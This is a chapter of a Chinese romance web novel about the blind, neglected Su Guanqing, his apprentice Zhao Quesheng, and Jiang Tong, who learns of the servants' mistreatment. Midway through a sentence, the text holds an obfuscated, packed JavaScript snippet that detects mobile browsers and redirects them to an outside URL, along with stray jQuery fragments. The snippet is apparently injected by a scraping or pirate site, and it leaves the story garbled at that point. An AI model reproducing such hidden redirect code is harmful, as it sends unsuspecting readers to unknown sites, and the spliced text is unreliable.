苏观卿这段时间的日子过得十分清静。
整个姜宅虽大,除了赵雀生每日早晚会来跟他问安,别人并不会来打扰他。就连姜曈安排来伺候他的仆人,也总不见踪影。
苏观卿吃完饭,双手摸索着,端起放在一边的药汤,甫一就手,他就不觉蹙了蹙眉,却没说什么,正欲喝药,忽听得门外响起赵雀生的声音。
“师父!”
苏观卿动作一顿,将药汤放回了桌上,笑着应道:“雀生,今日的活计都忙完了?”
“忙完了。”赵雀生走到他身边蹲下,声音听起来有些蔫儿哒哒的。
“怎么了?又被老师批评了?”苏观卿伸出手,去摸赵雀生的脑袋。
赵雀生见他摸错了方向,忙稍微挪了挪脚,主动把头凑到了师父的手心底下。
“是徒儿太笨了,上次犯过的错误,这次又犯了。老师生气罚我也是应该的。”赵雀生委委屈屈地嘟哝道。
“老师她……最近心情是不是不大好。”苏观卿试探地问道。
赵雀生吸溜一下鼻子,点头道:“是不大好。”
他们都知道,姜曈是不会被心情影响做事情的,或者说,她如果心情不好,便会更加严厉,不光是对徒弟如此,对自己也会更加严苛。
“师父……”赵雀生仰着脑袋,偷看她师父的表情,“要不师父明日一起去书房吧?师父在,老师的心情定会好很多的。”
苏观卿一听此话,神色转黯,他放下手,摇了摇头:“我就不去了。我去了,你老师的心情会更差的。 ”
“不会的,”赵雀生站起来,拉着苏观卿的胳膊左摇右晃,“师父,你就去一次嘛,就去一次。”
然而不管她如何撒娇耍赖,苏观卿只是不肯答应,甚至还撵她走:
“好了,时间也不早了,快回你屋里去休息吧。回去好好温习一下哪里没做好的,省得明日又挨罚。”
赵雀生无奈,只好放弃,她一侧头,便看到苏观卿还没来得及喝的药,忙上去捧起来,要伺候她师父喝药。
然而一捧起来,她脸色也是一变:“呀!药都凉了!这怎么喝。”
“不妨事的,”苏观卿伸出手来,示意赵雀生把药给他,“凉了也一样喝。”
“师父,可是那起子刁奴欺慢你?”赵雀生立即便意识到了问题所在。
“别胡说,没有的事。”苏观卿端着药碗,毁尸灭迹一般,咕嘟咕嘟地将已经凉掉的药汤一口闷了。
可有些念头一旦升起来,就止不住了,赵雀生的目光从苏观卿的身上扫过,之前熟视无睹的一些细节重新跳入她的视野——
苏观卿的发髻紮得有些凌乱,衣衫也皱巴巴的,上面有几处污渍,显然换洗得并不勤;桌面上也油腻腻的,不知多久没有擦桌子了,苏观卿袖子上早沾上了油污,他自己也不知道……
赵雀生只觉心中一口闷气堵在那里,她挥舞着小拳头嚷道:“他们分明就是觉得老师与师父闹掰了,便故意慢待师父!”
苏观卿叹了口气:“也不怪他们,我本就不是他们正紧的主子。你也别去告诉你老师。”
“那怎么行!不告诉老师,他们还会欺负师父!这马上就到岁暮天寒了,这么冷的天!他们还让师父喝冷掉的药!”赵雀生几乎气哭了。
“雀生!”苏观卿沉下脸来,“你也为你老师想想,她马上要嫁人了。若是为着我的事情发作了仆人,传出去,难免有人说她与我……本来就已经有人说闲话了!”
赵雀生今年十三了,马上就要十四了,这些事情她自然也明白,一时竟有些两难起来。
“雀生,听明白为师的话了吗?”苏观卿肃然问道。
赵雀生嗫嚅着点头道:“徒儿听见了。”
“答应为师,此事不许告诉你老师,你要是敢告诉她……”苏观卿想了想,挤出了自己最凶恶的样子,“为师便不认你这个徒弟了。”
“徒儿知道了。”赵雀生声音小小的,带着一点哭腔。
“去吧。”
“是。”赵雀生擦着眼泪就走了,走到自己屋门口,开了锁,迈步进去。
苏观卿一直竖着耳朵听赵雀生的动静,听到她果然乖乖回屋,这才放松下来,起身朝着寝间走去。
他这刚进寝间,赵雀生的屋门就悄无声息地被开了一条缝,小丫头蹑手蹑脚地走出来,垫着脚尖,从游廊的另一个方向,往书房的方向溜去。
姜曈还在书房,誊录最新的一份密信。
……
夜已经深了,秋雨淅淅沥沥地下起来。
每到这个时候,苏观卿的十指便会一阵一阵地发疼。
好像有无数的针,钻进他的肉里,钻进他的骨头缝里,不停地钻呀钻。
“有人吗?”他忍着疼,摸索着从寝间走出来,“帮我打盆热水。”
没人答应他。
原本应该在外间守夜的仆人今日又不知到哪里躲懒去了。平日里便时常如此,只是苏观卿从不计较,那些个仆人便变本加厉起来,十日里总有八日不见踪影。
他只与那些仆人说过,平日里便罢了,若是下雨,他断骨阴痛,需要热水缓解,是以雨天他们必须得留人。
但是显然,没人把他的话当回事,今夜他屋里还是没人。
“有……有人吗?”苏观卿把双手死死夹在腋下,弓着背顺着墙壁往外走——
他拿不了竹杖,探不了路,只能这么走。
他走到门口,用脚尖勾开门,先是下意识去了右边的耳房,唤道:“拂柳?”
连唤了数声,已经疼到有些意识模糊的苏观卿方想起来,风拂柳早已经不在姜宅了,无奈之下,他又肩膀擦着墙,往左边的耳房,去唤赵雀生。
“雀生,你在吗?去帮师父打盆热水来。”然而数声之后,赵雀生也没有应他。
……
“这起子刁奴!”听完赵雀生的话,姜曈气得心口起伏。
赵雀生觑着姜曈阴沉的眼神,小心翼翼地补充道:“……师父说了,不让我同老师讲,老师回头可别说漏了。说漏了,师父就不认我了。”
姜曈自然知道为什么苏观卿不让赵雀生同自己讲,她心中一时五味杂陈,都到这个时候了,那个傻子竟还是一心只为自己着想!
他要到什么时候,才学得会为他自己稍微考虑一下呢?
姜曈心中又气又急,又是心疼,恨不得立即
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141749|175808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冲到苏观卿那里。
然而就在此时,那日同苏观卿争执的场景又在她的脑中闪现——那日她让苏观卿自己选,他选了一刀两断。
……他既然要一刀两断,我又何必上赶着去找他!
赵雀生本来一直忐忐忑忑地观察着姜曈的神色,看她之前明明已经气急了,显然是心疼师父的,然而忽然间,姜曈重又面无表情起来。
“老师……”
“行了,我知道了,明日我会处理此事的。”姜曈说完,便又埋头去誊抄那封密信去了。
饶是心中万千情绪翻腾,姜曈却也并没有让它们影响自己做事。
姜曈按部就班地快速将密信用蝇头小楷誊抄了,再细细封入画心与命纸之间。
待得这些事情做完,姜曈方松了口气。接下来的步骤是把这张刚刚托完命纸的画心贴上墙,等着阴干。
姜曈抬眼见赵雀生没走,便冲她招招手:“你来上墙吧。”
“诶!”赵雀生忙不迭上前来接手,“老师去找师父吗?”
“这么晚了,我去找他做什么?我回房睡觉去。”姜曈说着,便冷着脸抬步出了书房。
……
苏观卿眼下的情况不大好。
左右都找不到人,虽然他知道垂花门外的下人房必然是可以找到不当值的仆役的,但是眼下他拿不起竹杖,也就意味着他不能走远。走投无路之下,他只好又回到了自己屋中。
偏这几日还没入冬,姜宅还没开始把炕烧起来,屋里也算不得暖。
苏观卿蜷在自己的床上,用被子死死地裹住自己,然而被子的温暖根本无法抵消秋雨的阴冷。
失明放大了他的痛苦,每一根手指,每一处曾经断裂过的地方,全都叫嚣起来,像是在抗议他们不曾被善待的过去。
苏观卿一开始还能咬着牙,硬撑着,可是后来,他便有些意识模糊起来,恍惚间,便好像重又回到了受刑那日。
每一根指骨在夹棍之下,寸寸碎裂,他甚至能听到骨头裂开的声音。
“啊——不要——不要——”苏观卿无法压抑喉间的惨叫,他把头埋在枕头里,声音也被压在了里面。
可是疼痛似在游走,他全身的每一寸骨头都跟着叫嚣起来。
“观卿?你怎么了?哪里不舒服?”
苏观卿的耳边响起姜曈的声音,他疼得发懵的脑子更加迷糊了。
……是幻觉吧?一定是幻觉。这么晚了,曈曈怎么可能到我这里来。
苏观卿翻过身来,哑声道:“曈曈……曈曈,你别离开我。”
“好,我不离开你。”那个声音愈发温柔。
……我就知道,肯定不是曈曈,她还在气头上,怎么可能哄我。
既然只是幻想,苏观卿便肆无忌惮起来,他冲着姜曈哀嚎道:“曈曈,我好疼……我快疼死了。”
“哪里疼?到底哪里疼?快告诉我。”姜曈的声音越发焦急。
苏观卿看不到,眼前只有一片黑暗,耳边只有这一把声音,那把声音就是他的救命稻草。
“手指的骨头好疼……曈曈……抱抱我……你抱抱我好吗……”他不住地呻吟着,语气里已经带出了哭腔。